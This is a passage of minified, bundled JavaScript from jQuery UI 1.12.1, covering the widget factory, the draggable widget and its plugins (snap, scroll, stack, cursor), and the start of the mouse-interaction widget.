0===(s="function"==typeof(r=function(e){return e.ui.plugin={add:function(t,n,r){var i,s=e.ui[t].prototype;for(i in r)s.plugins[i]=s.plugins[i]||[],s.plugins[i].push([n,r[i]])},call:function(e,t,n,r){var i,s=e.plugins[t];if(s&&(r||e.element[0].parentNode&&11!==e.element[0].parentNode.nodeType))for(i=0;i<s.length;i++)e.options[s[i][0]]&&s[i][1].apply(e.element,n)}}})?r.apply(t,i):r)||(e.exports=s)},6575:function(e,t,n){var r,i,s;i=[n(9755),n(5592)],void 0===(s="function"==typeof(r=function(e){return e.ui.safeActiveElement=function(e){var t;try{t=e.activeElement}catch(n){t=e.body}return t||(t=e.body),t.nodeName||(t=e.body),t}})?r.apply(t,i):r)||(e.exports=s)},192:function(e,t,n){var r,i,s;i=[n(9755),n(5592)],void 0===(s="function"==typeof(r=function(e){return e.ui.safeBlur=function(t){t&&"body"!==t.nodeName.toLowerCase()&&e(t).trigger("blur")}})?r.apply(t,i):r)||(e.exports=s)},464:function(e,t,n){var r,i,s;i=[n(9755),n(5592)],void 0===(s="function"==typeof(r=function(e){return e.fn.scrollParent=function(t){var n=this.css("position"),r="absolute"===n,i=t?/(auto|scroll|hidden)/:/(auto|scroll)/,s=this.parents().filter((function(){var t=e(this);return(!r||"static"!==t.css("position"))&&i.test(t.css("overflow")+t.css("overflow-y")+t.css("overflow-x"))})).eq(0);return"fixed"!==n&&s.length?s:e(this[0].ownerDocument||document)}})?r.apply(t,i):r)||(e.exports=s)},5592:function(e,t,n){var r,i,s;i=[n(9755)],void 0===(s="function"==typeof(r=function(e){return e.ui=e.ui||{},e.ui.version="1.12.1"})?r.apply(t,i):r)||(e.exports=s)},6891:function(e,t,n){var r,i,s;i=[n(9755),n(5592)],void 0===(s="function"==typeof(r=function(e){var t,n=0,r=Array.prototype.slice;return e.cleanData=(t=e.cleanData,function(n){var r,i,s;for(s=0;null!=(i=n[s]);s++)try{(r=e._data(i,"events"))&&r.remove&&e(i).triggerHandler("remove")}catch(e){}t(n)}),e.widget=function(t,n,r){var i,s,a,o={},d=t.split(".")[0],u=d+"-"+(t=t.split(".")[1]);return r||(r=n,n=e.Widget),e.isArray(r)&&(r=e.extend.apply(null,[{}].concat(r))),e.expr[":"][u.toLowerCase()]=function(t){return!!e.data(t,u)},e[d]=e[d]||{},i=e[d][t],s=e[d][t]=function(e,t){if(!this._createWidget)return new s(e,t);arguments.length&&this._createWidget(e,t)},e.extend(s,i,{version:r.version,_proto:e.extend({},r),_childConstructors:[]}),(a=new n).options=e.widget.extend({},a.options),e.each(r,(function(t,r){e.isFunction(r)?o[t]=function(){function e(){return n.prototype[t].apply(this,arguments)}function i(e){return n.prototype[t].apply(this,e)}return function(){var t,n=this._super,s=this._superApply;return this._super=e,this._superApply=i,t=r.apply(this,arguments),this._super=n,this._superApply=s,t}}():o[t]=r})),s.prototype=e.widget.extend(a,{widgetEventPrefix:i&&a.widgetEventPrefix||t},o,{constructor:s,namespace:d,widgetName:t,widgetFullName:u}),i?(e.each(i._childConstructors,(function(t,n){var r=n.prototype;e.widget(r.namespace+"."+r.widgetName,s,n._proto)})),delete i._childConstructors):n._childConstructors.push(s),e.widget.bridge(t,s),s},e.widget.extend=function(t){for(var n,i,s=r.call(arguments,1),a=0,o=s.length;a<o;a++)for(n in s[a])i=s[a][n],s[a].hasOwnProperty(n)&&void 0!==i&&(e.isPlainObject(i)?t[n]=e.isPlainObject(t[n])?e.widget.extend({},t[n],i):e.widget.extend({},i):t[n]=i);return t},e.widget.bridge=function(t,n){var i=n.prototype.widgetFullName||t;e.fn[t]=function(s){var a="string"==typeof s,o=r.call(arguments,1),d=this;return a?this.length||"instance"!==s?this.each((function(){var n,r=e.data(this,i);return"instance"===s?(d=r,!1):r?e.isFunction(r[s])&&"_"!==s.charAt(0)?(n=r[s].apply(r,o))!==r&&void 0!==n?(d=n&&n.jquery?d.pushStack(n.get()):n,!1):void 0:e.error("no such method '"+s+"' for "+t+" widget instance"):e.error("cannot call methods on "+t+" prior to initialization; attempted to call method '"+s+"'")})):d=void 0:(o.length&&(s=e.widget.extend.apply(null,[s].concat(o))),this.each((function(){var t=e.data(this,i);t?(t.option(s||{}),t._init&&t._init()):e.data(this,i,new n(s,this))}))),d}},e.Widget=function(){},e.Widget._childConstructors=[],e.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:!1,create:null},_createWidget:function(t,r){r=e(r||this.defaultElement||this)[0],this.element=e(r),this.uuid=n++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=e(),this.hoverable=e(),this.focusable=e(),this.classesElementLookup={},r!==this&&(e.data(r,this.widgetFullName,this),this._on(!0,this.element,{remove:function(e){e.target===r&&this.destroy()}}),this.document=e(r.style?r.ownerDocument:r.document||r),this.window=e(this.document[0].defaultView||this.document[0].parentWindow)),this.options=e.widget.extend({},this.options,this._getCreateOptions(),t),this._create(),this.options.disabled&&this._setOptionDisabled(this.options.disabled),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:e.noop,_create:e.noop,_init:e.noop,destroy:function(){var t=this;this._destroy(),e.each(this.classesElementLookup,(function(e,n){t._removeClass(n,e)})),this.element.off(this.eventNamespace).removeData(this.widgetFullName),this.widget().off(this.eventNamespace).removeAttr("aria-disabled"),this.bindings.off(this.eventNamespace)},_destroy:e.noop,widget:function(){return this.element},option:function(t,n){var r,i,s,a=t;if(0===arguments.length)return e.widget.extend({},this.options);if("string"==typeof t)if(a={},r=t.split("."),t=r.shift(),r.length){for(i=a[t]=e.widget.extend({},this.options[t]),s=0;s<r.length-1;s++)i[r[s]]=i[r[s]]||{},i=i[r[s]];if(t=r.pop(),1===arguments.length)return void 0===i[t]?null:i[t];i[t]=n}else{if(1===arguments.length)return void 0===this.options[t]?null:this.options[t];a[t]=n}return this._setOptions(a),this},_setOptions:function(e){var t;for(t in e)this._setOption(t,e[t]);return this},_setOption:function(e,t){return"classes"===e&&this._setOptionClasses(t),this.options[e]=t,"disabled"===e&&this._setOptionDisabled(t),this},_setOptionClasses:function(t){var n,r,i;for(n in t)i=this.classesElementLookup[n],t[n]!==this.options.classes[n]&&i&&i.length&&(r=e(i.get()),this._removeClass(i,n),r.addClass(this._classes({element:r,keys:n,classes:t,add:!0})))},_setOptionDisabled:function(e){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!e),e&&(this._removeClass(this.hoverable,null,"ui-state-hover"),this._removeClass(this.focusable,null,"ui-state-focus"))},enable:function(){return this._setOptions({disabled:!1})},disable:function(){return this._setOptions({disabled:!0})},_classes:function(t){var n=[],r=this;function i(i,s){var a,o;for(o=0;o<i.length;o++)a=r.classesElementLookup[i[o]]||e(),a=t.add?e(e.unique(a.get().concat(t.element.get()))):e(a.not(t.element).get()),r.classesElementLookup[i[o]]=a,n.push(i[o]),s&&t.classes[i[o]]&&n.push(t.classes[i[o]])}return t=e.extend({element:this.element,classes:this.options.classes||{}},t),this._on(t.element,{remove:"_untrackClassesElement"}),t.keys&&i(t.keys.match(/\S+/g)||[],!0),t.extra&&i(t.extra.match(/\S+/g)||[]),n.join(" ")},_untrackClassesElement:function(t){var n=this;e.each(n.classesElementLookup,(function(r,i){-1!==e.inArray(t.target,i)&&(n.classesElementLookup[r]=e(i.not(t.target).get()))}))},_removeClass:function(e,t,n){return this._toggleClass(e,t,n,!1)},_addClass:function(e,t,n){return this._toggleClass(e,t,n,!0)},_toggleClass:function(e,t,n,r){r="boolean"==typeof r?r:n;var i="string"==typeof e||null===e,s={extra:i?t:n,keys:i?e:t,element:i?this.element:e,add:r};return s.element.toggleClass(this._classes(s),r),this},_on:function(t,n,r){var i,s=this;"boolean"!=typeof t&&(r=n,n=t,t=!1),r?(n=i=e(n),this.bindings=this.bindings.add(n)):(r=n,n=this.element,i=this.widget()),e.each(r,(function(r,a){function o(){if(t||!0!==s.options.disabled&&!e(this).hasClass("ui-state-disabled"))return("string"==typeof a?s[a]:a).apply(s,arguments)}"string"!=typeof a&&(o.guid=a.guid=a.guid||o.guid||e.guid++);var d=r.match(/^([\w:-]*)\s*(.*)$/),u=d[1]+s.eventNamespace,l=d[2];l?i.on(u,l,o):n.on(u,o)}))},_off:function(t,n){n=(n||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,t.off(n).off(n),this.bindings=e(this.bindings.not(t).get()),this.focusable=e(this.focusable.not(t).get()),this.hoverable=e(this.hoverable.not(t).get())},_delay:function(e,t){function n(){return("string"==typeof e?r[e]:e).apply(r,arguments)}var r=this;return setTimeout(n,t||0)},_hoverable:function(t){this.hoverable=this.hoverable.add(t),this._on(t,{mouseenter:function(t){this._addClass(e(t.currentTarget),null,"ui-state-hover")},mouseleave:function(t){this._removeClass(e(t.currentTarget),null,"ui-state-hover")}})},_focusable:function(t){this.focusable=this.focusable.add(t),this._on(t,{focusin:function(t){this._addClass(e(t.currentTarget),null,"ui-state-focus")},focusout:function(t){this._removeClass(e(t.currentTarget),null,"ui-state-focus")}})},_trigger:function(t,n,r){var i,s,a=this.options[t];if(r=r||{},(n=e.Event(n)).type=(t===this.widgetEventPrefix?t:this.widgetEventPrefix+t).toLowerCase(),n.target=this.element[0],s=n.originalEvent)for(i in s)i in n||(n[i]=s[i]);return this.element.trigger(n,r),!(e.isFunction(a)&&!1===a.apply(this.element[0],[n].concat(r))||n.isDefaultPrevented())}},e.each({show:"fadeIn",hide:"fadeOut"},(function(t,n){e.Widget.prototype["_"+t]=function(r,i,s){var a;"string"==typeof i&&(i={effect:i});var o=i?!0===i||"number"==typeof i?n:i.effect||n:t;"number"==typeof(i=i||{})&&(i={duration:i}),a=!e.isEmptyObject(i),i.complete=s,i.delay&&r.delay(i.delay),a&&e.effects&&e.effects.effect[o]?r[t](i):o!==t&&r[o]?r[o](i.duration,i.easing,s):r.queue((function(n){e(this)[t](),s&&s.call(r[0]),n()}))}})),e.widget})?r.apply(t,i):r)||(e.exports=s)},7285:function(e,t,n){var r,i,s;i=[n(9755),n(6177),n(6400),n(1624),n(6575),n(192),n(464),n(5592),n(6891)],void 0===(s="function"==typeof(r=function(e){return e.widget("ui.draggable",e.ui.mouse,{version:"1.12.1",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"===this.options.helper&&this._setPositionRelative(),this.options.addClasses&&this._addClass("ui-draggable"),this._setHandleClassName(),this._mouseInit()},_setOption:function(e,t){this._super(e,t),"handle"===e&&(this._removeHandleClassName(),this._setHandleClassName())},_destroy:function(){(this.helper||this.element).is(".ui-draggable-dragging")?this.destroyOnClear=!0:(this._removeHandleClassName(),this._mouseDestroy())},_mouseCapture:function(t){var n=this.options;return!(this.helper||n.disabled||e(t.target).closest(".ui-resizable-handle").length>0||(this.handle=this._getHandle(t),!this.handle||(this._blurActiveElement(t),this._blockFrames(!0===n.iframeFix?"iframe":n.iframeFix),0)))},_blockFrames:function(t){this.iframeBlocks=this.document.find(t).map((function(){var t=e(this);return e("<div>").css("position","absolute").appendTo(t.parent()).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()).offset(t.offset())[0]}))},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_blurActiveElement:function(t){var n=e.ui.safeActiveElement(this.document[0]);e(t.target).closest(n).length||e.ui.safeBlur(n)},_mouseStart:function(t){var n=this.options;return this.helper=this._createHelper(t),this._addClass(this.helper,"ui-draggable-dragging"),this._cacheHelperProportions(),e.ui.ddmanager&&(e.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(!0),this.offsetParent=this.helper.offsetParent(),this.hasFixedAncestor=this.helper.parents().filter((function(){return"fixed"===e(this).css("position")})).length>0,this.positionAbs=this.element.offset(),this._refreshOffsets(t),this.originalPosition=this.position=this._generatePosition(t,!1),this.originalPageX=t.pageX,this.originalPageY=t.pageY,n.cursorAt&&this._adjustOffsetFromHelper(n.cursorAt),this._setContainment(),!1===this._trigger("start",t)?(this._clear(),!1):(this._cacheHelperProportions(),e.ui.ddmanager&&!n.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t),this._mouseDrag(t,!0),e.ui.ddmanager&&e.ui.ddmanager.dragStart(this,t),!0)},_refreshOffsets:function(e){this.offset={top:this.positionAbs.top-this.margins.top,left:this.positionAbs.left-this.margins.left,scroll:!1,parent:this._getParentOffset(),relative:this._getRelativeOffset()},this.offset.click={left:e.pageX-this.offset.left,top:e.pageY-this.offset.top}},_mouseDrag:function(t,n){if(this.hasFixedAncestor&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(t,!0),this.positionAbs=this._convertPositionTo("absolute"),!n){var r=this._uiHash();if(!1===this._trigger("drag",t,r))return this._mouseUp(new e.Event("mouseup",t)),!1;this.position=r.position}return this.helper[0].style.left=this.position.left+"px",this.helper[0].style.top=this.position.top+"px",e.ui.ddmanager&&e.ui.ddmanager.drag(this,t),!1},_mouseStop:function(t){var n=this,r=!1;return e.ui.ddmanager&&!this.options.dropBehaviour&&(r=e.ui.ddmanager.drop(this,t)),this.dropped&&(r=this.dropped,this.dropped=!1),"invalid"===this.options.revert&&!r||"valid"===this.options.revert&&r||!0===this.options.revert||e.isFunction(this.options.revert)&&this.options.revert.call(this.element,r)?e(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),(function(){!1!==n._trigger("stop",t)&&n._clear()})):!1!==this._trigger("stop",t)&&this._clear(),!1},_mouseUp:function(t){return this._unblockFrames(),e.ui.ddmanager&&e.ui.ddmanager.dragStop(this,t),this.handleElement.is(t.target)&&this.element.trigger("focus"),e.ui.mouse.prototype._mouseUp.call(this,t)},cancel:function(){return this.helper.is(".ui-draggable-dragging")?this._mouseUp(new e.Event("mouseup",{target:this.element[0]})):this._clear(),this},_getHandle:function(t){return!this.options.handle||!!e(t.target).closest(this.element.find(this.options.handle)).length},_setHandleClassName:function(){this.handleElement=this.options.handle?this.element.find(this.options.handle):this.element,this._addClass(this.handleElement,"ui-draggable-handle")},_removeHandleClassName:function(){this._removeClass(this.handleElement,"ui-draggable-handle")},_createHelper:function(t){var n=this.options,r=e.isFunction(n.helper),i=r?e(n.helper.apply(this.element[0],[t])):"clone"===n.helper?this.element.clone().removeAttr("id"):this.element;return i.parents("body").length||i.appendTo("parent"===n.appendTo?this.element[0].parentNode:n.appendTo),r&&i[0]===this.element[0]&&this._setPositionRelative(),i[0]===this.element[0]||/(fixed|absolute)/.test(i.css("position"))||i.css("position","absolute"),i},_setPositionRelative:function(){/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative")},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),e.isArray(t)&&(t={left:+t[0],top:+t[1]||0}),"left"in t&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_isRootNode:function(e){return/(html|body)/i.test(e.tagName)||e===this.document[0]},_getParentOffset:function(){var t=this.offsetParent.offset(),n=this.document[0];return"absolute"===this.cssPosition&&this.scrollParent[0]!==n&&e.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),this._isRootNode(this.offsetParent[0])&&(t={top:0,left:0}),{top:t.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"!==this.cssPosition)return{top:0,left:0};var e=this.element.position(),t=this._isRootNode(this.scrollParent[0]);return{top:e.top-(parseInt(this.helper.css("top"),10)||0)+(t?0:this.scrollParent.scrollTop()),left:e.left-(parseInt(this.helper.css("left"),10)||0)+(t?0:this.scrollParent.scrollLeft())}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,n,r,i=this.options,s=this.document[0];this.relativeContainer=null,i.containment?"window"!==i.containment?"document"!==i.containment?i.containment.constructor!==Array?("parent"===i.containment&&(i.containment=this.helper[0].parentNode),(r=(n=e(i.containment))[0])&&(t=/(scroll|auto)/.test(n.css("overflow")),this.containment=[(parseInt(n.css("borderLeftWidth"),10)||0)+(parseInt(n.css("paddingLeft"),10)||0),(parseInt(n.css("borderTopWidth"),10)||0)+(parseInt(n.css("paddingTop"),10)||0),(t?Math.max(r.scrollWidth,r.offsetWidth):r.offsetWidth)-(parseInt(n.css("borderRightWidth"),10)||0)-(parseInt(n.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(t?Math.max(r.scrollHeight,r.offsetHeight):r.offsetHeight)-(parseInt(n.css("borderBottomWidth"),10)||0)-(parseInt(n.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relativeContainer=n)):this.containment=i.containment:this.containment=[0,0,e(s).width()-this.helperProportions.width-this.margins.left,(e(s).height()||s.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]:this.containment=[e(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,e(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,e(window).scrollLeft()+e(window).width()-this.helperProportions.width-this.margins.left,e(window).scrollTop()+(e(window).height()||s.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]:this.containment=null},_convertPositionTo:function(e,t){t||(t=this.position);var n="absolute"===e?1:-1,r=this._isRootNode(this.scrollParent[0]);return{top:t.top+this.offset.relative.top*n+this.offset.parent.top*n-("fixed"===this.cssPosition?-this.offset.scroll.top:r?0:this.offset.scroll.top)*n,left:t.left+this.offset.relative.left*n+this.offset.parent.left*n-("fixed"===this.cssPosition?-this.offset.scroll.left:r?0:this.offset.scroll.left)*n}},_generatePosition:function(e,t){var n,r,i,s,a=this.options,o=this._isRootNode(this.scrollParent[0]),d=e.pageX,u=e.pageY;return o&&this.offset.scroll||(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),t&&(this.containment&&(this.relativeContainer?(r=this.relativeContainer.offset(),n=[this.containment[0]+r.left,this.containment[1]+r.top,this.containment[2]+r.left,this.containment[3]+r.top]):n=this.containment,e.pageX-this.offset.click.left<n[0]&&(d=n[0]+this.offset.click.left),e.pageY-this.offset.click.top<n[1]&&(u=n[1]+this.offset.click.top),e.pageX-this.offset.click.left>n[2]&&(d=n[2]+this.offset.click.left),e.pageY-this.offset.click.top>n[3]&&(u=n[3]+this.offset.click.top)),a.grid&&(i=a.grid[1]?this.originalPageY+Math.round((u-this.originalPageY)/a.grid[1])*a.grid[1]:this.originalPageY,u=n?i-this.offset.click.top>=n[1]||i-this.offset.click.top>n[3]?i:i-this.offset.click.top>=n[1]?i-a.grid[1]:i+a.grid[1]:i,s=a.grid[0]?this.originalPageX+Math.round((d-this.originalPageX)/a.grid[0])*a.grid[0]:this.originalPageX,d=n?s-this.offset.click.left>=n[0]||s-this.offset.click.left>n[2]?s:s-this.offset.click.left>=n[0]?s-a.grid[0]:s+a.grid[0]:s),"y"===a.axis&&(d=this.originalPageX),"x"===a.axis&&(u=this.originalPageY)),{top:u-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.offset.scroll.top:o?0:this.offset.scroll.top),left:d-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.offset.scroll.left:o?0:this.offset.scroll.left)}},_clear:function(){this._removeClass(this.helper,"ui-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1,this.destroyOnClear&&this.destroy()},_trigger:function(t,n,r){return r=r||this._uiHash(),e.ui.plugin.call(this,t,[n,r,this],!0),/^(drag|start|stop)/.test(t)&&(this.positionAbs=this._convertPositionTo("absolute"),r.offset=this.positionAbs),e.Widget.prototype._trigger.call(this,t,n,r)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),e.ui.plugin.add("draggable","connectToSortable",{start:function(t,n,r){var i=e.extend({},n,{item:r.element});r.sortables=[],e(r.options.connectToSortable).each((function(){var n=e(this).sortable("instance");n&&!n.options.disabled&&(r.sortables.push(n),n.refreshPositions(),n._trigger("activate",t,i))}))},stop:function(t,n,r){var i=e.extend({},n,{item:r.element});r.cancelHelperRemoval=!1,e.each(r.sortables,(function(){var e=this;e.isOver?(e.isOver=0,r.cancelHelperRemoval=!0,e.cancelHelperRemoval=!1,e._storedCSS={position:e.placeholder.css("position"),top:e.placeholder.css("top"),left:e.placeholder.css("left")},e._mouseStop(t),e.options.helper=e.options._helper):(e.cancelHelperRemoval=!0,e._trigger("deactivate",t,i))}))},drag:function(t,n,r){e.each(r.sortables,(function(){var i=!1,s=this;s.positionAbs=r.positionAbs,s.helperProportions=r.helperProportions,s.offset.click=r.offset.click,s._intersectsWith(s.containerCache)&&(i=!0,e.each(r.sortables,(function(){return this.positionAbs=r.positionAbs,this.helperProportions=r.helperProportions,this.offset.click=r.offset.click,this!==s&&this._intersectsWith(this.containerCache)&&e.contains(s.element[0],this.element[0])&&(i=!1),i}))),i?(s.isOver||(s.isOver=1,r._parent=n.helper.parent(),s.currentItem=n.helper.appendTo(s.element).data("ui-sortable-item",!0),s.options._helper=s.options.helper,s.options.helper=function(){return n.helper[0]},t.target=s.currentItem[0],s._mouseCapture(t,!0),s._mouseStart(t,!0,!0),s.offset.click.top=r.offset.click.top,s.offset.click.left=r.offset.click.left,s.offset.parent.left-=r.offset.parent.left-s.offset.parent.left,s.offset.parent.top-=r.offset.parent.top-s.offset.parent.top,r._trigger("toSortable",t),r.dropped=s.element,e.each(r.sortables,(function(){this.refreshPositions()})),r.currentItem=r.element,s.fromOutside=r),s.currentItem&&(s._mouseDrag(t),n.position=s.position)):s.isOver&&(s.isOver=0,s.cancelHelperRemoval=!0,s.options._revert=s.options.revert,s.options.revert=!1,s._trigger("out",t,s._uiHash(s)),s._mouseStop(t,!0),s.options.revert=s.options._revert,s.options.helper=s.options._helper,s.placeholder&&s.placeholder.remove(),n.helper.appendTo(r._parent),r._refreshOffsets(t),n.position=r._generatePosition(t,!0),r._trigger("fromSortable",t),r.dropped=!1,e.each(r.sortables,(function(){this.refreshPositions()})))}))}}),e.ui.plugin.add("draggable","cursor",{start:function(t,n,r){var i=e("body"),s=r.options;i.css("cursor")&&(s._cursor=i.css("cursor")),i.css("cursor",s.cursor)},stop:function(t,n,r){var i=r.options;i._cursor&&e("body").css("cursor",i._cursor)}}),e.ui.plugin.add("draggable","opacity",{start:function(t,n,r){var i=e(n.helper),s=r.options;i.css("opacity")&&(s._opacity=i.css("opacity")),i.css("opacity",s.opacity)},stop:function(t,n,r){var i=r.options;i._opacity&&e(n.helper).css("opacity",i._opacity)}}),e.ui.plugin.add("draggable","scroll",{start:function(e,t,n){n.scrollParentNotHidden||(n.scrollParentNotHidden=n.helper.scrollParent(!1)),n.scrollParentNotHidden[0]!==n.document[0]&&"HTML"!==n.scrollParentNotHidden[0].tagName&&(n.overflowOffset=n.scrollParentNotHidden.offset())},drag:function(t,n,r){var i=r.options,s=!1,a=r.scrollParentNotHidden[0],o=r.document[0];a!==o&&"HTML"!==a.tagName?(i.axis&&"x"===i.axis||(r.overflowOffset.top+a.offsetHeight-t.pageY<i.scrollSensitivity?a.scrollTop=s=a.scrollTop+i.scrollSpeed:t.pageY-r.overflowOffset.top<i.scrollSensitivity&&(a.scrollTop=s=a.scrollTop-i.scrollSpeed)),i.axis&&"y"===i.axis||(r.overflowOffset.left+a.offsetWidth-t.pageX<i.scrollSensitivity?a.scrollLeft=s=a.scrollLeft+i.scrollSpeed:t.pageX-r.overflowOffset.left<i.scrollSensitivity&&(a.scrollLeft=s=a.scrollLeft-i.scrollSpeed))):(i.axis&&"x"===i.axis||(t.pageY-e(o).scrollTop()<i.scrollSensitivity?s=e(o).scrollTop(e(o).scrollTop()-i.scrollSpeed):e(window).height()-(t.pageY-e(o).scrollTop())<i.scrollSensitivity&&(s=e(o).scrollTop(e(o).scrollTop()+i.scrollSpeed))),i.axis&&"y"===i.axis||(t.pageX-e(o).scrollLeft()<i.scrollSensitivity?s=e(o).scrollLeft(e(o).scrollLeft()-i.scrollSpeed):e(window).width()-(t.pageX-e(o).scrollLeft())<i.scrollSensitivity&&(s=e(o).scrollLeft(e(o).scrollLeft()+i.scrollSpeed)))),!1!==s&&e.ui.ddmanager&&!i.dropBehaviour&&e.ui.ddmanager.prepareOffsets(r,t)}}),e.ui.plugin.add("draggable","snap",{start:function(t,n,r){var i=r.options;r.snapElements=[],e(i.snap.constructor!==String?i.snap.items||":data(ui-draggable)":i.snap).each((function(){var t=e(this),n=t.offset();this!==r.element[0]&&r.snapElements.push({item:this,width:t.outerWidth(),height:t.outerHeight(),top:n.top,left:n.left})}))},drag:function(t,n,r){var i,s,a,o,d,u,l,c,h,m,p=r.options,f=p.snapTolerance,_=n.offset.left,y=_+r.helperProportions.width,g=n.offset.top,v=g+r.helperProportions.height;for(h=r.snapElements.length-1;h>=0;h--)u=(d=r.snapElements[h].left-r.margins.left)+r.snapElements[h].width,c=(l=r.snapElements[h].top-r.margins.top)+r.snapElements[h].height,y<d-f||_>u+f||v<l-f||g>c+f||!e.contains(r.snapElements[h].item.ownerDocument,r.snapElements[h].item)?(r.snapElements[h].snapping&&r.options.snap.release&&r.options.snap.release.call(r.element,t,e.extend(r._uiHash(),{snapItem:r.snapElements[h].item})),r.snapElements[h].snapping=!1):("inner"!==p.snapMode&&(i=Math.abs(l-v)<=f,s=Math.abs(c-g)<=f,a=Math.abs(d-y)<=f,o=Math.abs(u-_)<=f,i&&(n.position.top=r._convertPositionTo("relative",{top:l-r.helperProportions.height,left:0}).top),s&&(n.position.top=r._convertPositionTo("relative",{top:c,left:0}).top),a&&(n.position.left=r._convertPositionTo("relative",{top:0,left:d-r.helperProportions.width}).left),o&&(n.position.left=r._convertPositionTo("relative",{top:0,left:u}).left)),m=i||s||a||o,"outer"!==p.snapMode&&(i=Math.abs(l-g)<=f,s=Math.abs(c-v)<=f,a=Math.abs(d-_)<=f,o=Math.abs(u-y)<=f,i&&(n.position.top=r._convertPositionTo("relative",{top:l,left:0}).top),s&&(n.position.top=r._convertPositionTo("relative",{top:c-r.helperProportions.height,left:0}).top),a&&(n.position.left=r._convertPositionTo("relative",{top:0,left:d}).left),o&&(n.position.left=r._convertPositionTo("relative",{top:0,left:u-r.helperProportions.width}).left)),!r.snapElements[h].snapping&&(i||s||a||o||m)&&r.options.snap.snap&&r.options.snap.snap.call(r.element,t,e.extend(r._uiHash(),{snapItem:r.snapElements[h].item})),r.snapElements[h].snapping=i||s||a||o||m)}}),e.ui.plugin.add("draggable","stack",{start:function(t,n,r){var i,s=r.options,a=e.makeArray(e(s.stack)).sort((function(t,n){return(parseInt(e(t).css("zIndex"),10)||0)-(parseInt(e(n).css("zIndex"),10)||0)}));a.length&&(i=parseInt(e(a[0]).css("zIndex"),10)||0,e(a).each((function(t){e(this).css("zIndex",i+t)})),this.css("zIndex",i+a.length))}}),e.ui.plugin.add("draggable","zIndex",{start:function(t,n,r){var i=e(n.helper),s=r.options;i.css("zIndex")&&(s._zIndex=i.css("zIndex")),i.css("zIndex",s.zIndex)},stop:function(t,n,r){var i=r.options;i._zIndex&&e(n.helper).css("zIndex",i._zIndex)}}),e.ui.draggable})?r.apply(t,i):r)||(e.exports=s)},6177:function(e,t,n){var r,i,s;i=[n(9755),n(1870),n(5592),n(6891)],void 0===(s="function"==typeof(r=function(e){var t=!1;return e(document).on("mouseup",(function(){t=!1})),e.widget("ui.mouse",{version:"1.12.1",options:{cancel:"input, textarea, button, select, option",distance:1,delay:0},_mouseInit:function(){var t=this;this.element.on("mousedown."+this.widgetName,(function(e){return t._mouseDown(e)})).on("click."+this.widgetName,(function(n){if(!0===e.data(n.target,t.widgetName+".preventClickEvent"))return e.removeData(n.target,t.widgetName+".preventClickEvent"),n.stopImmediatePropagation(),!1})),this.started=!1},_mouseDestroy:function(){this.element.off("."+this.widgetName),this._mouseMoveDelegate&&this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(n){if(!t){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(n),this._mouseDownEvent=n;var r=this,i=1===n.which,s=!("string"!=typeof 